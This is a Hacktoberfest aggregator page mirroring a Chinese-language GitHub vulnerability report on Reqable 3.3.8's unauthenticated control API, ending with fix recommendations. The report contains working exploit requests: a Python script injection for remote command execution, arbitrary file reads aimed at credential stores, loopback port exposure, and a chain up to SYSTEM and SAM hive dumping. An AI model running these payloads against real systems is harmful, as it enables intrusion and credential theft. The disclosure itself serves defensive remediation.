Hacktoberfest 2026: die Issues, die Maintainer für den Oktober markiert haben – offen und einsteigerfreundlich. Hacktoberfest-Issues durchsuchen

[bug] HTTP API 未授权导致远程代码执行(RCE)、任意文件读取与内网端口暴露

Offen
#3,010 0 Kommentare 1 Reaktion 1 zugewiesene Person Auf GitHub ansehen

@MegatronKing arbeitet bereits daran.

Seit 29.10.2026.

Bewertung

Dieses Issue wurde noch nicht bewertet.

Beschreibung

bug

Reqable 3.3.8 — HTTP API 未授权导致远程代码执行(RCE)、任意文件读取与内网端口暴露

项目 内容
产品 Reqable (API 调试 / 抓包代理)
版本 3.3.8(FileVersion / ProductVersion 均为 3.3.8,安装路径 D:\app\Reqable\Reqable.exe)
受影响组件 内置 HTTP 控制 API(默认监听 0.0.0.0:9000)
漏洞类型 未授权访问 → Python 脚本注入 → RCE;任意文件读取;任意 loopback 端口外暴露;流量劫持
前置条件 攻击者能访问目标的 9000/TCP(同一 LAN、或被 --capture/access-control 白名单关闭时的任意网络)
认证要求 无(全部接口匿名可调)
危害 以登录用户身份执行任意命令(实测提权到 NT AUTHORITY\SYSTEM)、读取任意文件、读取明文凭据、篡改业务流量

1. 摘要

Reqable 为了支持「手机抓包 / MCP 集成」,把完整的控制 API 与 MITM 代理端口合并监听在 0.0.0.0:9000,且没有任何鉴权。任何能连上 9000 的主机都可以:

  1. 调用 /capture/script/* 下发 Python 脚本,脚本在 Reqable 进程内执行 → 任意命令执行
  2. 用 /capture/rewrite/* 的 body.type=2(binary file body)读取任意本地文件,并把内容作为 HTTP 响应返回给攻击者
  3. 用 /capture/reverse-proxy/* 在目标机上开监听端口并转发到 127.0.0.1:<任意端口> → 把本机 loopback 服务暴露给全网
  4. 用 /capture/live/get 读取当前抓包内容(含 Cookie / Token / 明文密码),用 /capture/rewrite 篡改任意站点的响应

在真实环境中(一台普通 Windows 工作站),攻击者仅凭 curl 即可从 LAN 侧拿到代码执行,并通过一次服务配置替换提权至 SYSTEM。


2. 指纹与入口

curl -i http://<TARGET>:9000/
HTTP/1.1 200 OK
x-powered-by: Dart with package:shelf
content-type: text/plain
content-length: 14

Hello Reqable!

未知路由统一返回 {"message":"Route not found.","status":404},说明是 shelf 路由器,可直接按路由名调用(无需爆破)。

监听确认(目标机 netstat -ano):

TCP    0.0.0.0:9000    0.0.0.0:0    LISTENING    36764   <- Reqable.exe

3. 漏洞一:未授权 Python 脚本注入 → RCE(高危)

脚本运行在 Reqable 进程内的 embedded CPython,os / urllib 等标准库可用,权限等于当前登录用户。

3.1 开启脚本功能
POST /capture/script/on HTTP/1.1
Host: <TARGET>:9000
Content-Type: application/json
Content-Length: 0
3.2 下发脚本
POST /capture/script/create HTTP/1.1
Host: <TARGET>:9000
Content-Type: application/json

{"name":"x","method":"","url":"*<ATTACKER>:8899/run/*","wildcard":true,"code":"from reqable import *\nimport os, base64\n\ndef onRequest(context, request):\n    u = context.url\n    if '/run/' in u:\n        p = u.split('/run/')[-1].split('?')[0]\n        p += '=' * (-len(p) % 4)\n        cmd = base64.urlsafe_b64decode(p).decode('utf-8','replace')\n        print('=====OUT=====')\n        print(os.popen(cmd).read())\n        print('=====END=====')\n    return request\n"}
3.3 触发执行(命令放进 URL 路径)
CMD=$(printf 'whoami /priv' | basenc --base64url | tr -d '=')
curl -s -x http://<TARGET>:9000 "http://<ATTACKER>:8899/run/$CMD"
3.4 取回命令输出
POST /capture/live/filter HTTP/1.1
Host: <TARGET>:9000
Content-Type: application/json

{"filters":[]}
POST /capture/live/get HTTP/1.1
Host: <TARGET>:9000
Content-Type: application/json

{"id":<最新记录ID>}

响应中的 request.scriptLogs 即包含 os.popen() 的输出(脚本内的 print() 全部落在这里)。这一条自带"命令回显通道",不需要目标能出网,比反弹 shell 更隐蔽。

3.5 实测证据(脱敏)
scriptLogs = ['=====CMD_START=====', 'deram\\user', 'HOSTNAME', 'Microsoft Windows [版本 10.0.26200.9711]', ...]

4. 漏洞二:任意文件读取(高危)

/capture/rewrite/create 的 Replace Response 动作支持 body.type = 2(Binary file body),payload 为本地文件路径。命中规则后,Reqable 会读取该文件并作为响应正文返回。

POST /capture/rewrite/create HTTP/1.1
Host: <TARGET>:9000
Content-Type: application/json

{"name":"r","method":"","url":"*<ATTACKER>:8899/rf*","wildcard":true,"action":{"type":2,"code":200,"headers":[{"key":"Content-Type","value":"application/octet-stream"}],"body":{"type":2,"payload":"C:\\Windows\\win.ini"},"statusLineEnabled":false,"headersEnabled":false,"bodyEnabled":true},"isEnabled":true}
POST /capture/rewrite/on HTTP/1.1
Host: <TARGET>:9000
Content-Type: application/json
Content-Length: 0
curl -s -x http://<TARGET>:9000 http://<ATTACKER>:8899/rf

实测返回:

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

同样的手法可直接取走浏览器 Login Data、Local State、.pypirc、.docker/config.json、SSH key、业务配置文件,无需任何脚本执行权限。


5. 漏洞三:本机 loopback 端口外暴露(高危)

/capture/reverse-proxy 允许把目标机上的任意端口转发到任意远端主机的任意端口,且监听在 0.0.0.0:

POST /capture/reverse-proxy/create HTTP/1.1
Host: <TARGET>:9000
Content-Type: application/json

{"name":"rp","localPort":19000,"host":"127.0.0.1:9000","security":false,"preserveHost":false}
POST /capture/reverse-proxy/enable HTTP/1.1
Host: <TARGET>:9000
Content-Type: application/json

{"ids":["<返回的id>"],"enabled":true}

实测:从外部 curl http://<TARGET>:19000/ 返回 Hello Reqable! —— 即攻击者获得了目标机 127.0.0.1 的任意端口访问能力(本机管理面板、数据库、仅本机可达的内部系统全部暴露)。

注:localPort 校验要求 ≥1024(445/135/80 会被拒),但 1024–65535 任意端口可绑。


6. 漏洞四:抓包内容明文读取与流量篡改(中高危)

  • /capture/live/filter + /capture/live/get:读取实时抓包的全部请求/响应,包含 Authorization、Cookie、表单明文密码。
  • /capture/rewrite/*:任意篡改(示例:把某个接口返回的 balance 从 590 改成 1000)。
  • /capture/report-server/*:把匹配的流量以 HAR 形式 POST 到攻击者服务器(静默数据外带)。
  • /capture/secondary-proxy/*:把目标所有流量导向攻击者的上游代理。

实测在目标机上发现的既有配置表明该能力已被真实使用:

rewrite: *pss-system.cponline.cnipa.gov.cn/...  ->  删除响应体中的 "debugger"
rewrite: https://api.xsd***.com/hub-api/gain/user/info -> body 替换为 {"balance":1000.0,"rate":10000,...}

7. 完整杀伤链(实测,Windows 目标)

LAN → 9000 未授权 API
   → /capture/script/create  → 用户级命令执行
   → 读凭据(浏览器库 / .pypirc / docker config / 提包历史)
   → 发现 C:\ProgramData\... 与 D:\app\... 目录为 Users/Users(AU) 可写
   → 对应 LocalSystem 服务的 exe 可替换(BU 对该服务有 RP/WP = 启动/停止权限)
   → 替换 exe + sc start  →  NT AUTHORITY\SYSTEM
   → reg save HKLM\SAM/SYSTEM/SECURITY  →  本地全部 NTLM 哈希

SYSTEM 权限实测证据(whoami /priv 节选):

SeTcbPrivilege                  以操作系统方式执行      已启用
SeDebugPrivilege                调试程序                已启用
SeAssignPrimaryTokenPrivilege   替换一个进程级令牌      已启用
SeTakeOwnershipPrivilege        取得文件或其他对象的所有权 已启用

8. 修复建议

  1. 默认仅绑定 127.0.0.1。需要给手机抓包时,显式让用户开关"允许局域网访问",并强制要求鉴权。
  2. 控制 API 加鉴权:启动时生成随机 token,写入 %APPDATA%\Reqable 的配置文件,所有 /capture/*、/script/* 请求必须带 Authorization: Bearer <token>(MCP 客户端从同一文件读取,不影响现有集成)。
  3. 把"控制 API"与"MITM 代理"拆成两个端口,代理端口可对 LAN 开放,控制端口永远只在 loopback。
  4. /capture/script/create|update 属于高危操作:需要 UI 二次确认,或至少在响应头里标记需要本地交互;脚本内容应做危险 API(os、subprocess、urllib)提示。
  5. rewrite 的 body.type=2 不要接受任意绝对路径:限制在 %APPDATA%\Reqable 目录内,或改成只能从 UI 选择的文件句柄。
  6. reverse-proxy 的 localPort 不应默认监听 0.0.0.0,且 host 应限制为外部地址,禁止 127.0.0.1/localhost(防止 SSRF-to-loopback)。
  7. /capture/access-control 的 IP 白名单应默认开启并预置本机网段,而不是默认关闭。

9. 复现环境

  • 目标:Windows 11(10.0.26200),Reqable 3.3.8,路径 D:\app\Reqable\Reqable.exe
  • 监听:0.0.0.0:9000(PID 与 Reqable.exe 一致)
  • 攻击机:同网段 Kali Linux,仅用 curl + Python 标准库
  • 全过程未使用任何漏洞利用框架;未对目标做破坏性操作(服务 exe 已原样还原、临时文件已清理)

Vorherrschende Sprache
Keine Sprachdaten
Sterne
6.9k
Forks
274
PR-Merge-Kennzahlen
Keine gemergten PRs in 30 T.

Entwicklungsumgebung

Dieses Projekt bietet weder Dev-Container noch Dockerfile noch Beitragsleitfaden – die Einrichtung liegt bei Ihnen. Beginnen Sie mit der README; die allgemeinen Schritte stehen in unserem Leitfaden für den ersten Beitrag.

Erste Schritte

  1. Lesen Sie das ganze Issue und danach den Beitragsleitfaden des Projekts.
  2. Schreiben Sie ins Issue, dass Sie es übernehmen — das erspart doppelte Arbeit.
  3. Forken Sie das Repository und arbeiten Sie in einem Branch.
  4. Öffnen Sie einen Pull Request, der die Issue-Nummer nennt.

Mehr aus reqable/reqable-app

Alle Issues in reqable/reqable-app

Neue Issues direkt in Ihr Postfach

Eine kurze Übersicht über anfängerfreundliche GitHub-Issues.